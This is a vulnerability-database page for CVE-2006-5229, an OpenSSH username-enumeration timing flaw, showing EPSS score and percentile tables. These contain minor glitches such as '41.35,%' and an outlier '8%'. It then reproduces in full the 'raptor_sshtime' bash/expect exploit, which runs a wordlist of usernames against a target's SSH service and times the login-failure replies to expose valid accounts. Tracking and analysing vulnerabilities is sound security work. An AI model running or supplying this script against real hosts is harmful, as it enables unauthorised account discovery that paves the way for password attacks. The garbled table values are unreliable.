CVE-2006-5229 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.97%	–	–
2022-02-13	–	–	1.97%	–	–
2022-04-03	–	–	1.97%	–	–
2022-06-19	–	–	1.97%	–	–
2022-12-25	–	–	1.97%	–	–
2023-01-01	–	–	1.97%	–	–
2023-02-19	–	–	1.97%	–	–
2023-03-12	–	–	–	0.74%	–
2023-03-19	–	–	–	0.8%	–
2023-06-04	–	–	–	0.84%	–
2023-07-09	–	–	–	1.3%	–
2023-08-20	–	–	–	1.34%	–
2023-09-17	–	–	–	1.34%	–
2023-09-24	–	–	–	1.29%	–
2023-12-10	–	–	–	1.05%	–
2024-02-11	–	–	–	1.05%	–
2024-06-02	–	–	–	1.05%	–
2024-11-17	–	–	–	1.05%	–
2024-12-22	–	–	–	0.93%	–
2025-01-19	–	–	–	0.93%	–
2025-03-18	–	–	–	–	41.35%
2025-03-18	–	–	–	–	41.35,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	56%
2022-02-13	57%
2022-04-03	77%
2022-06-19	78%
2022-12-25	79%
2023-01-01	78%
2023-02-19	79%
2023-03-12	78%
2023-03-19	79%
2023-06-04	8%
2023-07-09	84%
2023-08-20	84%
2023-09-17	85%
2023-09-24	84%
2023-12-10	82%
2024-02-11	84%
2024-06-02	84%
2024-11-17	85%
2024-12-22	83%
2025-01-19	83%
2025-03-18	97%
2025-03-18	97%

#!/bin/bash # # $Id: raptor_sshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $ # # raptor_sshtime - [Open]SSH remote timing attack exploit # Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> # # OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately # sends an error message when a user does not exist, which allows remote # attackers to determine valid usernames via a timing attack (CVE-2003-0190). # # OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions, # and possibly under limited configurations, allows remote attackers to # determine valid usernames via timing discrepancies in which responses take # longer for valid usernames than invalid ones, as demonstrated by sshtime. # NOTE: as of 20061014, it appears that this issue is dependent on the use of # manually-set passwords that causes delays when processing /etc/shadow due to # an increased number of rounds (CVE-2006-5229). # # This is a simple shell script based on expect meant to remotely analyze # timing differences in sshd "Permission denied" replies. Depending on OpenSSH # version and configuration, it may lead to disclosure of valid usernames. # # Usage example: # [make sure the target hostkey has been approved before] # ./sshtime 192.168.0.1 dict.txt # # Some vars port=22 # Command line host=$1 dict=$2 # Local functions function head() { echo "" echo "raptor_sshtime - [Open]SSH remote timing attack exploit" echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>" echo "" } function foot() { echo "" exit 0 } function usage() { head echo "[make sure the target hostkey has been approved before]" echo "" echo "usage : ./sshtime <target> <wordlist>" echo "example: ./sshtime 192.168.0.1 dict.txt" foot } function notfound() { head echo "error : expect interpreter not found!" foot } # Check if expect is there expect=`which expect 2>/dev/null` if [ $? -ne 0 ]; then notfound fi # Input control if [ -z "$2" ]; then usage fi # Perform the bruteforce attack head for user in `cat $dict` do echo -ne "$user@$host\t\t" (time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real done foot # milw0rm.com [2007-02-13]